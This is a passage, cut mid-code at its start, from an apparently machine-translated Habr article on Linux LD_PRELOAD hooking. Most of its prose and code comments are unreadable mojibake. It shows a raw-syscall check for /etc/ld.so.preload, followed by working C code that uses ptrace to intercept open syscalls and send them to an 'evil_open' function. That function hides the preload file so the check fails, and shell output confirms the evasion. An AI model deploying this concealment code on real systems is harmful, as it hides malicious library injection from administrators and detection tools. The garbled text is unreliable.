"mov %2, %%rsi;" // Open mode
"mov $0, %%rdx;" // No create mode
"syscall;" // Straight to ring0
"mov %%eax, %0;" // Returned file descriptor
:"=r" (fd)
:"m" (path), "m" (oflag)
:"rax", "rdi", "rsi", "rdx"
);
return fd;
}
int main()
{
syscall_open("/etc/ld.so.preload", O_RDONLY) > 0 ?
printf("LD_PRELOAD (open syscall) [+]n"):
printf("LD_PRELOAD (open syscall) [-]n");
}
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
ืืื ืืขื ืคึผืจืึธืืืขื ืืื ืึท ืืืืืื ื. ืืืืกืฆืื ืคืื ืืขื ืืฉ'ื:
ptrace ืืื ืึท ืืขืฆืืึทื ืืืึธืก ืึทืืึทืื ืึท ืคืึธืืขืจ ืคึผืจืึธืฆืขืก ืฆื ืึธืืกืขืจืืืืจื ืืื ืงืึธื ืืจืึธืืืจื ืื ืคึผืจืึธืืจืขืก ืคืื ืื ืื ืืขืจ ืคึผืจืึธืฆืขืก, ืงืืง ืืื ืืืืฉื ืื ืืึทืื ืืื ืจืขืืืฉืืกืืขืจื. ืืืคึผืืงืึทืืื, ืืขื ืคึฟืื ืงืฆืืข ืืื ืืขื ืืฆื ืฆื ืฉืึทืคึฟื ืืจืขืึทืงืคึผืึธืื ืฅ ืืื ืึท ืืืืึทืืื ื ืคึผืจืึธืืจืึทื ืืื ืืึธื ืืืึธืจ ืกืืกืืขื ืงืึทืืืก.
ืืขืจ ืคืึธืืขืจ ืคึผืจืึธืฆืขืก ืงืขื ืขื ืึธื ืืืืื ืืจืืืกืื ื ืืืจื ืขืจืฉืืขืจ ืจืืคื ืืึธืคึผื (2), ืืื ืืขืจ ืจืืืึทืืืื ื ืงืื ื ืคึผืจืึธืฆืขืก ืงืขื ืขื ืืืกืคืืจื PTRACE_TRACEME, ื ืืืืขืืื ืืขื (ืืืืฉืึทืืืึทืื) ืืืจื ืขืงืกืึทืงืืืืื ื ืขืงืกืขืง (3). ืืืืฃ ืื ืื ืืขืจืข ืืึทื ื, ืึท ืคืึธืืขืจ ืคึผืจืึธืฆืขืก ืงืขื ืขื ืึธื ืืืืื ืืืืึทืืื ื ืึท ืืืืืกืืื ื ืคึผืจืึธืฆืขืก ื ืืฆื PTRACE_ATTACH.
ืืืขื ืืจืืืกืื ื, ืืขืจ ืงืื ื ืคึผืจืึธืฆืขืก ืกืืึทืคึผืก ืืขืืขืจ ืืึธื ืขืก ื ืขืื ืึท ืกืืื ืึทื, ืึทืคึฟืืื ืืืื ืืขืจ ืกืืื ืึทื ืืื ืืืื ืึธืจืืจื. (ืื ืืืกื ืขื ืืื SIGKILL, ืืืึธืก ืึทืจืืขื ื ืึธืจืืึทืื.) ืืขืจ ืคืึธืืขืจ ืคึผืจืึธืฆืขืก ืืืขื ืืืื ื ืึธืืืึทืคืืื ืคืื ืืขื ืืืจื ืจืืคื ืืืึทืจืื (2), ื ืึธื ืืืึธืก ืขืก ืงืขื ืขื ืืขื ืืื ืืึธืืืคืืฆืืจื ืื ืืื ืืึทืื ืคืื ืื ืงืื ื ืคึผืจืึธืฆืขืก ืืืืืขืจ ืขืก ืกืืึทืจืฅ. ืืขืจ ืคืึธืืขืจ ืคึผืจืึธืฆืขืก ืืขืจื ืึธื ืึทืืึทืื ืื ืงืื ื ืฆื ืคืึธืจืืขืฆื ืคืืืกื ืืืง, ืืื ืขืืืขืืข ืงืึทืกืขืก ืืื ืึธืจืื ื ืื ืกืืื ืึทื ืืขืฉืืงื ืฆื ืืื ืึธืืขืจ ืฉืืงื ืื ืื ืืขืจ ืกืืื ืึทื ืึทื ืฉืืึธื).
ืืืื, ืื ืืืืืื ื ืืื ืฆื ืืึธื ืืืึธืจ ืืขื ืคึผืจืึธืฆืขืก, ืกืืึธืคึผืคึผืื ื ืขืก ืืืืืขืจ ืืขืืขืจ ืกืืกืืขื ืจืืคื ืืื, ืืืื ื ืืืืืง, ืจืืืขืจืขืงื ืื ืคืึธืืขื ืฆื ืึท ืงืจืืง ืคืื ืงืฆืืข.
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <limits.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/reg.h>
#include <sys/user.h>
#include <asm/unistd.h>
#if defined(__x86_64__)
#define REG_SYSCALL ORIG_RAX
#define REG_SP rsp
#define REG_IP rip
#endif
long NOHOOK = 0;
long evil_open(const char *path, long oflag, long cflag)
{
char real_path[PATH_MAX], maps_path[PATH_MAX];
long ret;
pid_t pid;
pid = getpid();
realpath(path, real_path);
if(strcmp(real_path, "/etc/ld.so.preload") == 0)
{
errno = ENOENT;
ret = -1;
}
else
{
NOHOOK = 1; // Entering NOHOOK section
ret = open(path, oflag, cflag);
}
// Exiting NOHOOK section
NOHOOK = 0;
return ret;
}
void init()
{
pid_t program;
// ะคะพัะบะฐะตะผ ะดะพัะตัะฝะธะน ะฟัะพัะตัั
program = fork();
if(program != 0) {
int status;
long syscall_nr;
struct user_regs_struct regs;
// ะะพะดะบะปััะฐะตะผัั ะบ ะดะพัะตัะฝะตะผั ะฟัะพัะตััั
if(ptrace(PTRACE_ATTACH, program) != 0) {
printf("Failed to attach to the program.n");
exit(1);
}
waitpid(program, &status, 0);
// ะััะปะตะถะธะฒะฐะตะผ ัะพะปัะบะพ SYSCALLs
ptrace(PTRACE_SETOPTIONS, program, 0, PTRACE_O_TRACESYSGOOD);
while(1) {
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
if(WIFEXITED(status) || WIFSIGNALED(status)) break;
else if(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP|0x80) {
// ะะพะปััะฐะตะผ ะฝะพะผะตั ัะธััะตะผะฝะพะณะพ ะฒัะทะพะฒะฐ
syscall_nr = ptrace(PTRACE_PEEKUSER, program, sizeof(long)*REG_SYSCALL);
if(syscall_nr == __NR_open) {
// ะงะธัะฐะตะผ ัะปะพะฒะพ ะธะท ะฟะฐะผััะธ ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
NOHOOK = ptrace(PTRACE_PEEKDATA, program, (void*)&NOHOOK);
// ะะตัะตั
ะฒะฐััะฒะฐะตะผ ะฒัะทะพะฒ
if(!NOHOOK) {
// ะะพะฟะธััะตะผ ัะตะณะธัััั ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
// ะฒ ะฟะตัะตะผะตะฝะฝัั regs ัะพะดะธัะตะปััะบะพะณะพ
ptrace(PTRACE_GETREGS, program, 0, ®s);
// Push return address on the stack
regs.REG_SP -= sizeof(long);
// ะะพะฟะธััะตะผ ัะปะพะฒะพ ะฒ ะฟะฐะผััั ะดะพัะตัะฝะตะณะพ ะฟัะพัะตััะฐ
ptrace(PTRACE_POKEDATA, program, (void*)regs.REG_SP, regs.REG_IP);
// ะฃััะฐะฝะฐะฒะปะธะฒะฐะตะผ RIP ะฟะพ ะฐะดัะตัั evil_open
regs.REG_IP = (unsigned long) evil_open;
// ะะฐะฟะธััะฒะฐะตะผ ัะพััะพัะฝะธะต ัะตะณะธัััะพะฒ ะฟัะพัะตััะฐ
ptrace(PTRACE_SETREGS, program, 0, ®s);
}
}
ptrace(PTRACE_SYSCALL, program, 0, 0);
waitpid(program, &status, 0);
}
}
exit(0);
}
else {
sleep(0);
}
}
ืืืจ ืงืึธื ืืจืึธืืืจื:
$ ./detect_syscall
LD_PRELOAD (open syscall) [+]
$ LD_PRELOAD=./ld_undetect_syscall.so ./detect_syscall
LD_PRELOAD (open syscall) [-]
+0-0=5
ื ืืจืืืกื ืฉ 'ืื
, ืืืขืืขื ืก ืืจืืืงืืขื, ืงืืืืื ืืื ืงืืืขื ืืืจื ืืืื ืืกืื ืืขืจ ืืขืืื ืืื ืืื ืืื ืืขืืื ืื ืืืืืงืข ืืขืจื ืฆื ืืขืจืฉืื ืขื ืื.
ืืงืืจ: www.habr.com
